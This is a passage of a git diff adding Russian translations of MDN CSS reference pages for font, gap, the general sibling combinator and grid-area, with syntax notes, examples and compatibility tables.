+ <dd>The system font used in dialog boxes.</dd>
+ <dt id="small-caption"><code>small-caption</code></dt>
+ <dd>The system font used for labeling small controls.</dd>
+ <dt id="status-bar"><code>status-bar</code></dt>
+ <dd>The system font used in window status bars.</dd>
+ <dt>Prefixed system font keywords</dt>
+ <dd>Browsers often implement several more, prefixed, keywords: Gecko implements <code>-moz-window</code>, <code>-moz-document</code>, <code>-moz-desktop</code>, <code>-moz-info</code>, <code>-moz-dialog</code>, <code>-moz-button</code>, <code>-moz-pull-down-menu</code>, <code>-moz-list</code>, and <code>-moz-field</code>.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css notranslate">/* Set the font size to 12px and the line height to 14px.
+   Set the font family to sans-serif */
+p { font: 12px/14px sans-serif }
+
+/* Set the font size to 80% of the parent element
+   or default value (if no parent element present).
+   Set the font family to sans-serif */
+p { font: 80% sans-serif }
+
+/* Set the font weight to bold,
+   the font-style to italic,
+   the font size to large,
+   and the font family to serif. */
+p { font: bold italic large serif }
+
+/* Use the same font as the status bar of the window */
+p { font: status-bar }
+</pre>
+
+<h3 id="live_sample" name="live_sample">Live sample</h3>
+
+<div class="hidden">
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+    Change the radio buttons below to see the generated shorthand and it's effect.
+&lt;/p&gt;
+&lt;form action="createShortHand()"&gt;
+    &lt;div class="cf"&gt;
+        &lt;div class="setPropCont"&gt;
+            font-style&lt;br/&gt;
+            &lt;input type="radio" id="font-style-none" name="font_style" checked="" value="" onchange="setCss()"&gt; &lt;label for="font-style-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-style-normal" name="font_style" value="normal" onchange="setCss()"&gt; &lt;label for="font-style-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-style-italic" name="font_style" value="italic" onchange="setCss()"&gt; &lt;label for="font-style-italic"&gt;italic&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-style-oblique" name="font_style" value="oblique" onchange="setCss()"&gt; &lt;label for="font-style-oblique"&gt;oblique&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            font-variant&lt;br&gt;
+            &lt;input type="radio" id="font-variant-none" name="font_variant" checked="" value=" " onchange="setCss()"&gt; &lt;label for="font-variant-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-variant-normal" name="font_variant" value="normal" onchange="setCss()"&gt; &lt;label for="font-variant-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-variant-small-caps" name="font_variant" value="small-caps" onchange="setCss()"&gt; &lt;label for="font-variant-small-caps"&gt;small-caps&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            font-weight&lt;br/&gt;
+            &lt;input type="radio" id="font-weight-none" name="font_weight" value="" onchange="setCss()"&gt; &lt;label for="font-weight-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-weight-normal" checked="" name="font_weight" value="400" onchange="setCss()"&gt; &lt;label for="font-weight-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-weight-bold" name="font_weight" value="700" onchange="setCss()"&gt; &lt;label for="font-weight-bold"&gt;bold&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            font-size&lt;br/&gt;
+            &lt;input type="radio" id="font-size-12px" name="font_size" value="12px" onchange="setCss()"&gt; &lt;label for="font-size-12px"&gt;12px&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-size-16px" name="font_size" value="16px" checked="" onchange="setCss()"&gt; &lt;label for="font-size-16px"&gt;16px&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-size-24px" name="font_size" value="24px" onchange="setCss()"&gt; &lt;label for="font-size-24px"&gt;24px&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            line-height&lt;br/&gt;
+            &lt;input type="radio" id="line-height-none" name="line_height" checked="" value="" onchange="setCss()"&gt; &lt;label for="line-height-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="line-height-1.2" name="line_height" value="/1.2" onchange="setCss()"&gt; &lt;label for="line-height-1.2"&gt;1.2&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="line-height-3" name="line_height" value="/3" onchange="setCss()"&gt; &lt;label for="line-height-3"&gt;3&lt;/label&gt;
+        &lt;/div&gt;&lt;br/&gt;
+
+        &lt;div class="setPropCont fontfamily"&gt;
+            font-family&lt;br/&gt;
+            &lt;input type="radio" id="font-family-courier" name="font_family" checked="" value="courier" onchange="setCss(5,'courier')"&gt; &lt;label for="font-family-courier"&gt;courier&lt;/label&gt;&lt;br/&gt;            &lt;input type="radio" id="font-family-serif" name="font_family" value="serif" onchange="setCss()"&gt; &lt;label for="font-family-serif"&gt;serif&lt;/label&gt;&lt;br /&gt;
+            &lt;input type="radio" id="font-family-sans-serif" name="font_family" value="sans-serif" onchange="setCss()"&gt; &lt;label for="font-family-sans-serif"&gt;sans-serif&lt;/label&gt;&lt;br /&gt;            &lt;input type="radio" id="font-family-arial" name="font_family" value="arial" onchange="setCss()"&gt; &lt;label for="font-family-arial"&gt;Arial&lt;/label&gt;&lt;br /&gt;
+            &lt;input type="radio" id="font-family-monospace" name="font_family" value="monospace" onchange="setCss()"&gt; &lt;label for="font-family-monospace"&gt;monospace&lt;/label&gt;&lt;br /&gt;            &lt;input type="radio" id="font-family-cursive" name="font_family" value="cursive" onchange="setCss()"&gt; &lt;label for="font-family-cursive"&gt;cursive&lt;/label&gt;&lt;br /&gt;
+            &lt;input type="radio" id="font-family-fantasy" name="font_family" value="fantasy" onchange="setCss()"&gt; &lt;label for="font-family-fantasy"&gt;fantasy&lt;/label&gt;&lt;br /&gt;            &lt;input type="radio" id="font-family-system-ui" name="font_family" value="system-ui" onchange="setCss()"&gt; &lt;label for="font-family-system-ui"&gt;system-ui&lt;/label&gt;&lt;br /&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="cf propInputs"&gt;
+        &lt;div class="propInputCont tar"&gt;
+            font :
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_font_style"&gt;&lt;br/&gt;
+            font-style &lt;br/&gt;
+            optional
+
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_font_variant"&gt; &lt;br/&gt;
+            font-variant &lt;br/&gt;
+            optional
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_font_weight"&gt; &lt;br/&gt;
+            font-weight &lt;br/&gt;
+            optional
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss mandatory" id="input_font_size"&gt; &lt;br/&gt;
+            font-size &lt;br/&gt;
+            mandatory
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_line_height"&gt; &lt;br/&gt;
+            line-height &lt;br/&gt;
+            optional
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss mandatory" id="input_font_family"&gt; &lt;br/&gt;
+            font-family &lt;br/&gt;
+            mandatory
+        &lt;/div&gt;
+    &lt;/div&gt;
+&lt;/form&gt;
+
+&lt;div class="fontShortHand"&gt;
+    This is some sample text.
+&lt;/div&gt;
+&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">body, input {
+  font: 14px arial;
+  overflow: hidden;
+}
+
+.propInputCont {
+  float: left;
+  text-align: center;
+  margin-right: 5px;
+  width: 80px;
+}
+
+.setPropCont {
+  float: left;
+  margin-right: 5px;
+  width: 120px;
+}
+
+.propInputs, .setPropCont {
+  margin-bottom: 1em;
+}
+
+.curCss {
+  border: none;
+  border-bottom: 1px solid black;
+  text-align: center;
+  width: 80px;
+}
+
+.mandatory {
+  border-bottom-color: red;
+}
+
+.cf:before,
+.cf:after {
+  content: " ";
+  display: table;
+}
+
+.cf:after {
+  clear: both;
+}
+
+.tar {
+  width: 40px;
+  text-align: right;
+}
+.fontfamily {
+  display: inline-block;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var textAreas = document.getElementsByClassName("curCss"),
+    shortText = "",
+    getCheckedValue,
+    setCss,
+    getProperties,
+    injectCss;
+
+getProperties = function () {
+  shortText =
+      getCheckedValue("font_style") + " " +
+      getCheckedValue("font_variant") + " " +
+      getCheckedValue("font_weight") + " " +
+      getCheckedValue("font_size") +
+      getCheckedValue("line_height") + " " +
+      getCheckedValue("font_family");
+
+  return shortText;
+}
+
+getCheckedValue = function(radio_name) {
+  oRadio = document.forms[0].elements[radio_name];
+  for (var i = 0; i &lt; oRadio.length; i++) {
+    if(oRadio[i].checked) {
+      var propInput = "input_" + radio_name,
+          curElemName = "input_" + radio_name,
+          curElem = document.getElementById(curElemName);
+      curElem.value = oRadio[i].value;
+
+      return oRadio[i].value;
+    }
+  }
+}
+
+setCss = function () {
+  getProperties();
+  injectCss(shortText);
+}
+
+injectCss = function(cssFragment) {
+  old = document.body.getElementsByTagName("style");
+  if (old.length &gt; 1) {
+    old[1].parentElement.removeChild(old[1]);
+  }
+  css = document.createElement("style");
+  css.innerHTML = ".fontShortHand{font: " + cssFragment + "}";
+  document.body.appendChild(css);
+}
+
+setCss();</pre>
+</div>
+
+<p>{{ EmbedLiveSample('live_sample','100%', '440px') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Fonts', '#font-prop', 'font') }}</td>
+   <td>{{ Spec2('CSS3 Fonts') }}</td>
+   <td>Added support for <code>font-stretch</code> values.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Added support for keywords.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#font', 'font') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.font")}}</p>
diff --git a/files/ru/web/css/gap/index.html b/files/ru/web/css/gap/index.html
new file mode 100644
index 0000000000..701ff15856
--- /dev/null
+++ b/files/ru/web/css/gap/index.html
@@ -0,0 +1,213 @@
+---
+title: gap (grid-gap)
+slug: Web/CSS/gap
+translation_of: Web/CSS/gap
+---
+<p>Свойство <strong><code>gap</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> задаёт отступы ({{glossary("gutters")}}) между столбцами и строками, а не вдоль края контейнера сетки. Является сокращением для свойств <span class="seoSummary">{{CSSxRef("row-gap")}} и {{CSSxRef("column-gap")}}.</span> {{CSSRef}}</p>
+
+<p><span class="seoSummary">The <strong><code>gap</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property sets the gaps ({{glossary("gutters")}}) between rows and columns. It is a <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand</a> for {{CSSxRef("row-gap")}} and {{CSSxRef("column-gap")}}.</span></p>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-gap.html")}}</div>
+
+<div class="note">
+<p><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> initially defined the <code>grid-gap</code> property. This prefixed property is being replaced by <code>gap</code>. However, in order to support browsers that implemented <code>grid-gap</code> and not <code>gap</code> for grid, you will need to use the prefixed property as in the interactive example above.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css; no-line-numbers notranslate">/* One &lt;length&gt; value */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* One &lt;percentage&gt; value */
+gap: 16%;
+gap: 100%;
+
+/* Two &lt;length&gt; values */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* One or two &lt;percentage&gt; values */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* calc() values */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* Global values */
+gap: inherit;
+gap: initial;
+gap: unset;
+</pre>
+
+<p>This property is specified as a value for <code>&lt;'row-gap'&gt;</code> followed optionally by a value for <code>&lt;'column-gap'&gt;</code>. If <code>&lt;'column-gap'&gt;</code> is omitted, it’s set to the same value as <code>&lt;'row-gap'&gt;</code>.</p>
+
+<p><code>&lt;'row-gap'&gt;</code> and <code>&lt;'column-gap'&gt;</code> are each specified as a <code>&lt;length&gt;</code> or a <code>&lt;percentage&gt;</code>.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;length&gt;")}}</dt>
+ <dd>Is the width of the gutter separating the grid lines.</dd>
+ <dt>{{CSSxRef("&lt;percentage&gt;")}}</dt>
+ <dd>Is the width of the gutter separating the grid lines, relative to the dimension of the element.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Flex_layout">Flex layout</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;div id="flexbox"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[5] notranslate">#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  gap: 20px 5px;
+}
+
+#flexbox &gt; div {
+  border: 1px solid green;
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Flex_layout", "auto", "120px")}}</p>
+
+<h3 id="Grid_layout">Grid layout</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css notranslate">#grid {
+  grid-gap: 20px 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css; highlight[5] notranslate">#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  gap: 20px 5px;
+}
+
+#grid &gt; div {
+  border: 1px solid green;
+  background-color: lime;
+}
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Grid_layout", "auto", "120px")}}</p>
+
+<h3 id="Multi-column_layout">Multi-column layout</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;p class="content-box"&gt;
+  This is some multi-column text with a 40px column
+  gap created with the CSS &lt;code&gt;gap&lt;/code&gt; property.
+  Don't you think that's fun and exciting? I sure do!
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight[3] notranslate">.content-box {
+  column-count: 3;
+  gap: 40px;
+}
+</pre>
+
+<h4 id="Result_3">Result</h4>
+
+<p>{{EmbedLiveSample("Multi-column_layout", "auto", "120px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<h3 id="Support_in_Flex_layout">Support in Flex layout</h3>
+
+<p>{{Compat("css.properties.gap.flex_context")}}</p>
+
+<h3 id="Support_in_Grid_layout">Support in Grid layout</h3>
+
+<p>{{Compat("css.properties.gap.grid_context")}}</p>
+
+<h3 id="Support_in_Multi-column_layout">Support in Multi-column layout</h3>
+
+<p>{{Compat("css.properties.gap.multicol_context")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{CSSxRef("row-gap")}}, {{CSSxRef("column-gap")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Gutters">Basic concepts of grid layout - Gutters</a></em></li>
+</ul>
diff --git a/files/ru/web/css/general_sibling_combinator/index.html b/files/ru/web/css/general_sibling_combinator/index.html
new file mode 100644
index 0000000000..5c076c26b6
--- /dev/null
+++ b/files/ru/web/css/general_sibling_combinator/index.html
@@ -0,0 +1,110 @@
+---
+title: Селектор следующего элемента
+slug: Web/CSS/General_sibling_combinator
+tags:
+  - смежные селекторы CSS спецификация комбинатор
+translation_of: Web/CSS/General_sibling_combinator
+---
+<div><span class="s1">{{CSSRef("Selectors")}}</span></div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Общий комбинатор смежных селекторов <code>(~)</code> разделяет два селектора и находит второй элемент только если ему предшествует первый, и они оба имеют общего родителя. Свойства будут применены ко всем элементам, указанным в правой части, следующим за элементом, указанным в левой части.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">element ~ element { <em>style properties</em> }
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: css">p ~ span {
+  color: red;
+}</pre>
+
+<pre class="brush: html">&lt;span&gt;Это не красный.&lt;/span&gt;
+&lt;p&gt;Здесь параграф.&lt;/p&gt;
+&lt;code&gt;Тут какой-то код.&lt;/code&gt;
+&lt;span&gt;А здесь span.&lt;/span&gt;</pre>
+
+<p>{{ EmbedLiveSample('Example', 280, 120) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#general-sibling-combinators', 'following-sibling combinator') }}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#general-sibling-combinators', 'general sibling combinator') }}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>7</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Adjacent_sibling_selectors">Смежные селекторы</a></li>
+</ul>
diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html
new file mode 100644
index 0000000000..63c0dcaeaf
--- /dev/null
+++ b/files/ru/web/css/grid-area/index.html
@@ -0,0 +1,197 @@
+---
+title: grid-area
+slug: Web/CSS/grid-area
+translation_of: Web/CSS/grid-area
+---
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращенная форма записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задает края {{glossary("grid areas", "грид-области")}} грид-элемента.</p>
+
+<pre class="brush: css no-line-numbers">/* Ключевые слова в качестве значений */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* &lt;custom-ident&gt; значения */
+grid-area: some-grid-area;
+grid-area: some-grid-area / another-grid-area;
+
+/* &lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;? значения */
+grid-area: some-grid-area 4;
+grid-area: some-grid-area 4 / 2 another-grid-area;
+
+/* span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ] значения */
+grid-area: span 3;
+grid-area: span 3 / span some-grid-area;
+grid-area: 2 span / another-grid-area span;
+
+/* Global values */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;
+</pre>
+
+<p>Если заданы четыре значения <code>&lt;grid-line&gt;</code> , то первое значение определяет <code>grid-row-start</code> , второе значение -  <code>grid-column-start</code> , третье значение -  <code>grid-row-end</code> и четвертое значение -  <code>grid-column-end</code>.</p>
+
+<p>Если  <code>grid-column-end</code> опущено, а <code>grid-column-start</code> в значении {{cssxref("&lt;custom-ident&gt;")}}, <code>grid-column-end</code> устанавливается в это значение <code>&lt;custom-ident&gt;</code>; иначе оно устанавливается в значение <code>auto</code>.</p>
+
+<p>Когда <code>grid-row-end</code> опущено, а <code>grid-row-start</code> в значении <code>&lt;custom-ident&gt;</code>, то <code>grid-row-end</code> устанавливается в это значение <code>&lt;custom-ident&gt;</code>; иначе оно устанавливается в значение <code>auto</code>.</p>
+
+<p>Когда <code>grid-column-start</code> опущено, а <code>grid-row-start</code> в значении <code>&lt;custom-ident&gt;</code>, все четыре свойства длинной записи устанавливаются в это значение, иначе они устанавливаются в значение <code>auto</code>.</p>
+
+<p>Свойство grid-area также может быть установлено в значение {{cssxref("&lt;custom-ident&gt;")}} , которое действует, как имя области. В дальнейшем разместить область в гриде по имени можно с помощью свойства {{cssxref("grid-template-areas")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>- ключевое слово, говорящее о том, что свойство не вносит никаких изменений в размещение грид-элемента. На элемент действует авторазмещение или размер элемента по умолчанию  <code>1</code>.  <em>(то есть, элемент занимает одну ячейку грид-сетки в заданном направлении)</em></dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>если есть именованная линия с именем  '<code>&lt;custom-ident&gt;-start</code>'/'<code>&lt;custom-ident&gt;-end</code>', то грид-элемент привязывается к первой из таких линий.
+ <p class="note"><strong>Замечание:</strong> Именнованные грид-области автоматически генерируют неявные именнованные линии с именами подобного формата, поэтому запись <code>grid-area: foo;</code> выберет начальный/конечный край этой именованной грид-области (если, конечно, другая линия с именем <code>foo-start</code>/<code>foo-end</code> не была явно определена раньше).</p>
+
+ <p>В противном случае, значение расценивается, как если бы число  <code>1</code> было задано вместе с  <code>&lt;custom-ident&gt;</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Contributes the <em>n</em>th grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid.
+ <p>If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.</p>
+
+ <p>An {{cssxref("&lt;integer&gt;")}} value of <code>0</code> is invalid.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is <em>n</em> lines from the opposite edge.
+ <p>If a name is given as a {{cssxref("&lt;custom-ident&gt;")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.</p>
+
+ <p>If the {{cssxref("&lt;integer&gt;")}} is omitted, it defaults to <code>1</code>. Negative integers or 0 are invalid.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_content">CSS content</h3>
+
+<pre class="brush: css; highlight[9]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+  background-color: lime;
+  grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", "150px")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-area")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-template-areas")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/grid-template-areas/">Grid Template Areas</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
